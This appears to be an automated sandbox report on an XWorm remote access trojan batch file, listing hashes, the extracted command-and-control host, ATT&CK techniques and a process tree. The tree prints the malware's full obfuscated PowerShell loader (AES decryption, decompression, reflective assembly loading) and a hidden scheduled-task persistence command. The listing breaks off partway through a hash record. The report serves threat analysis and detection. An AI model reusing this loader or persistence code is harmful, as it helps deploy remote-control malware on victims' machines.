xworm | f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590

Analysis

max time kernel
13s
max time network
35s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
21-01-2025 22:45

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General

Target

$phantomClient.bat
Size

278KB
MD5

c7f70f6597b99690acab02390af9a913
SHA1

ec989e5b37d4d9bf56d9b330ed97826313ae3255
SHA256

f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590
SHA512

991f4c36731dea73455da9a81185af01fb54cda915b5632edbc3f2251648745e47fd09b21d6548dcae170b1bfcf470b89f311cefc6733013be23667b31ae036b
SSDEEP

6144:3LDqmpofOLfpSCTvwLEbxm1/zGfAaWK6NY8M2PZaNSRw4ia:bDqmpofOLfh73KqltvChaivL

Score

10^/10

xworm defense_evasion execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

real-enquiry.gl.at.ply.gg:15403

Mutex

Twor9QJPgxqGUGz9

Attributes

Install_directory
%Public%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3660-95-0x0000017A40E30000-0x0000017A40E40000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	3660	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3840	powershell.exe
2676	powershell.exe
3660	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1898866115-3160784972-1217720036-1000\Control Panel\International\Geo\Nation	WScript.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1898866115-3160784972-1217720036-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3840	powershell.exe
3840	powershell.exe
2676	powershell.exe
2676	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3984	taskmgr.exe
3984	taskmgr.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3840	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeIncreaseQuotaPrivilege	2676	powershell.exe
Token: SeSecurityPrivilege	2676	powershell.exe
Token: SeTakeOwnershipPrivilege	2676	powershell.exe
Token: SeLoadDriverPrivilege	2676	powershell.exe
Token: SeSystemProfilePrivilege	2676	powershell.exe
Token: SeSystemtimePrivilege	2676	powershell.exe
Token: SeProfSingleProcessPrivilege	2676	powershell.exe
Token: SeIncBasePriorityPrivilege	2676	powershell.exe
Token: SeCreatePagefilePrivilege	2676	powershell.exe
Token: SeBackupPrivilege	2676	powershell.exe
Token: SeRestorePrivilege	2676	powershell.exe
Token: SeShutdownPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeSystemEnvironmentPrivilege	2676	powershell.exe
Token: SeRemoteShutdownPrivilege	2676	powershell.exe
Token: SeUndockPrivilege	2676	powershell.exe
Token: SeManageVolumePrivilege	2676	powershell.exe
Token: 33	2676	powershell.exe
Token: 34	2676	powershell.exe
Token: 35	2676	powershell.exe
Token: 36	2676	powershell.exe
Token: SeIncreaseQuotaPrivilege	2676	powershell.exe
Token: SeSecurityPrivilege	2676	powershell.exe
Token: SeTakeOwnershipPrivilege	2676	powershell.exe
Token: SeLoadDriverPrivilege	2676	powershell.exe
Token: SeSystemProfilePrivilege	2676	powershell.exe
Token: SeSystemtimePrivilege	2676	powershell.exe
Token: SeProfSingleProcessPrivilege	2676	powershell.exe
Token: SeIncBasePriorityPrivilege	2676	powershell.exe
Token: SeCreatePagefilePrivilege	2676	powershell.exe
Token: SeBackupPrivilege	2676	powershell.exe
Token: SeRestorePrivilege	2676	powershell.exe
Token: SeShutdownPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeSystemEnvironmentPrivilege	2676	powershell.exe
Token: SeRemoteShutdownPrivilege	2676	powershell.exe
Token: SeUndockPrivilege	2676	powershell.exe
Token: SeManageVolumePrivilege	2676	powershell.exe
Token: 33	2676	powershell.exe
Token: 34	2676	powershell.exe
Token: 35	2676	powershell.exe
Token: 36	2676	powershell.exe
Token: SeIncreaseQuotaPrivilege	2676	powershell.exe
Token: SeSecurityPrivilege	2676	powershell.exe
Token: SeTakeOwnershipPrivilege	2676	powershell.exe
Token: SeLoadDriverPrivilege	2676	powershell.exe
Token: SeSystemProfilePrivilege	2676	powershell.exe
Token: SeSystemtimePrivilege	2676	powershell.exe
Token: SeProfSingleProcessPrivilege	2676	powershell.exe
Token: SeIncBasePriorityPrivilege	2676	powershell.exe
Token: SeCreatePagefilePrivilege	2676	powershell.exe
Token: SeBackupPrivilege	2676	powershell.exe
Token: SeRestorePrivilege	2676	powershell.exe
Token: SeShutdownPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeSystemEnvironmentPrivilege	2676	powershell.exe
Token: SeRemoteShutdownPrivilege	2676	powershell.exe
Token: SeUndockPrivilege	2676	powershell.exe
Token: SeManageVolumePrivilege	2676	powershell.exe
Token: 33	2676	powershell.exe
Token: 34	2676	powershell.exe
Token: 35	2676	powershell.exe

Suspicious use of FindShellTrayWindow 17 IoCs

pid	Process
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3588	Explorer.EXE
3588	Explorer.EXE
3588	Explorer.EXE
3984	taskmgr.exe

Suspicious use of SendNotifyMessage 14 IoCs

pid	Process
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe
3984	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 856	2124	cmd.exe	82
PID 2124 wrote to memory of 856	2124	cmd.exe	82
PID 856 wrote to memory of 3480	856	net.exe	83
PID 856 wrote to memory of 3480	856	net.exe	83
PID 2124 wrote to memory of 4612	2124	cmd.exe	85
PID 2124 wrote to memory of 4612	2124	cmd.exe	85
PID 2124 wrote to memory of 3840	2124	cmd.exe	86
PID 2124 wrote to memory of 3840	2124	cmd.exe	86
PID 3840 wrote to memory of 2676	3840	powershell.exe	90
PID 3840 wrote to memory of 2676	3840	powershell.exe	90
PID 3840 wrote to memory of 4352	3840	powershell.exe	93
PID 3840 wrote to memory of 4352	3840	powershell.exe	93
PID 4352 wrote to memory of 2156	4352	WScript.exe	94
PID 4352 wrote to memory of 2156	4352	WScript.exe	94
PID 2156 wrote to memory of 2068	2156	cmd.exe	96
PID 2156 wrote to memory of 2068	2156	cmd.exe	96
PID 2068 wrote to memory of 2572	2068	net.exe	97
PID 2068 wrote to memory of 2572	2068	net.exe	97
PID 2156 wrote to memory of 2064	2156	cmd.exe	99
PID 2156 wrote to memory of 2064	2156	cmd.exe	99
PID 2156 wrote to memory of 3660	2156	cmd.exe	100
PID 2156 wrote to memory of 3660	2156	cmd.exe	100
PID 3660 wrote to memory of 3588	3660	powershell.exe	57
PID 3660 wrote to memory of 1180	3660	powershell.exe	37
PID 3660 wrote to memory of 1376	3660	powershell.exe	24
PID 3660 wrote to memory of 2948	3660	powershell.exe	51
PID 3660 wrote to memory of 1568	3660	powershell.exe	27
PID 3660 wrote to memory of 3536	3660	powershell.exe	56
PID 3660 wrote to memory of 1076	3660	powershell.exe	18
PID 3660 wrote to memory of 1364	3660	powershell.exe	23
PID 3660 wrote to memory of 968	3660	powershell.exe	12
PID 3660 wrote to memory of 1948	3660	powershell.exe	34
PID 3660 wrote to memory of 2920	3660	powershell.exe	50
PID 3660 wrote to memory of 1736	3660	powershell.exe	30
PID 3660 wrote to memory of 1340	3660	powershell.exe	22
PID 3660 wrote to memory of 748	3660	powershell.exe	15
PID 3660 wrote to memory of 1928	3660	powershell.exe	33
PID 3660 wrote to memory of 1068	3660	powershell.exe	17
PID 3660 wrote to memory of 1328	3660	powershell.exe	89
PID 3660 wrote to memory of 2636	3660	powershell.exe	44
PID 3660 wrote to memory of 2500	3660	powershell.exe	71
PID 3660 wrote to memory of 2300	3660	powershell.exe	39
PID 3660 wrote to memory of 920	3660	powershell.exe	11
PID 3660 wrote to memory of 1308	3660	powershell.exe	21
PID 3660 wrote to memory of 1500	3660	powershell.exe	26
PID 3660 wrote to memory of 520	3660	powershell.exe	14
PID 3660 wrote to memory of 2384	3660	powershell.exe	40
PID 3660 wrote to memory of 2852	3660	powershell.exe	47
PID 3660 wrote to memory of 2652	3660	powershell.exe	46
PID 3660 wrote to memory of 2644	3660	powershell.exe	45
PID 3660 wrote to memory of 1848	3660	powershell.exe	32
PID 3660 wrote to memory of 2084	3660	powershell.exe	70
PID 3660 wrote to memory of 1448	3660	powershell.exe	25
PID 3660 wrote to memory of 2960	3660	powershell.exe	52
PID 3660 wrote to memory of 1040	3660	powershell.exe	36
PID 3660 wrote to memory of 2416	3660	powershell.exe	42
PID 3660 wrote to memory of 1228	3660	powershell.exe	67
PID 3660 wrote to memory of 1620	3660	powershell.exe	29
PID 3660 wrote to memory of 1612	3660	powershell.exe	28
PID 3660 wrote to memory of 4760	3660	powershell.exe	66
PID 3660 wrote to memory of 1212	3660	powershell.exe	20
PID 3660 wrote to memory of 2392	3660	powershell.exe	41
PID 3660 wrote to memory of 420	3660	powershell.exe	13
PID 3660 wrote to memory of 2980	3660	powershell.exe	53

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:808
- C:\Windows\System32\smartscreen.exe
  C:\Windows\System32\smartscreen.exe -Embedding
  2⤵
  PID:4568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2300

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3536

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
PID:3588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$phantomClient.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:3480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Local\Temp\$phantomClient.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_172_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_172.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2676
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_172.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4352
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_172.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2156
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2068
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:2572
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_172.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2064
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3660
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
3ccf13786554a09feada0ddedbc8a646

SHA1
54d359350816173172d9a351b465207e4be88a8f

SHA256
f436e158dc2fc703547bec5d5111f4a7d43b2b7bb02a16dbab812e48ce8e5ca9

SHA512
6fb3d66ccc739b2a6d93b19af338b3b8cda9c3d431dc9343ccfb7c121fc7f4383aad7581e6e27f9bd482d40b970ab6a61a4365a8003a96b190a9e781b2ae91b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2if2wv1f.bhq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_172.vbs

Filesize
124B

MD5
3863927c28268e69ab1aa10f4e1604a1

SHA1
daa725bb728bce5b25604267906061d27873ee95

SHA256
86a428fc83289006d46e326a48d0b00d3e7555b1d0cc8c33b059e0a7570e722c

SHA512
2efc97e64a636223dfa84d7e2a6432b3293e74bc7a2f11ea9c9270190425f637168f3c26b686ff7072a231d2fc45f4d773f29be77e832a708ba160dad75f9331

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
3KB

MD5
c6086d02f8ce044f5fa07a98303dc7eb

SHA1
6116247e9d098b276b476c9f4c434f55d469129c

SHA256
8901d9c9aea465da4ea7aa874610a90b8cf0a71eba0e321cf9675fceee0b54a0

SHA512
1876d8fc1a8ac83aadb725100ea7a1791bd62d4d0edc1b78802e0bffe458f309a66dc97e1b9da60dd52b8cb80bf471ccb5f8480e6192c9eb2a13eac36462d27a

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
3KB

MD5
39b9eb9d1a56bc1792c844c425bd1dec

SHA1
db5a91082fa14eeb6550cbc994d34ebd95341df9

SHA256
acade97e8a1d30477d0dc3fdfea70c2c617c369b56115ec708ed8a2cfdbc3692

SHA512
255b1c1c456b20e6e3415540ef8af58e723f965d1fa782da44a6bbc81b43d8a31c5681777ba885f91ed2dae480bc2a4023e01fe2986857b13323f0459520eb51

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
a9124c4c97cba8a07a8204fac1696c8e

SHA1
1f27d80280e03762c7b16781608786f5a98ff434

SHA256
8ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21

SHA512
537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
4ac1741ceb19f5a983079b2c5f344f5d

SHA1
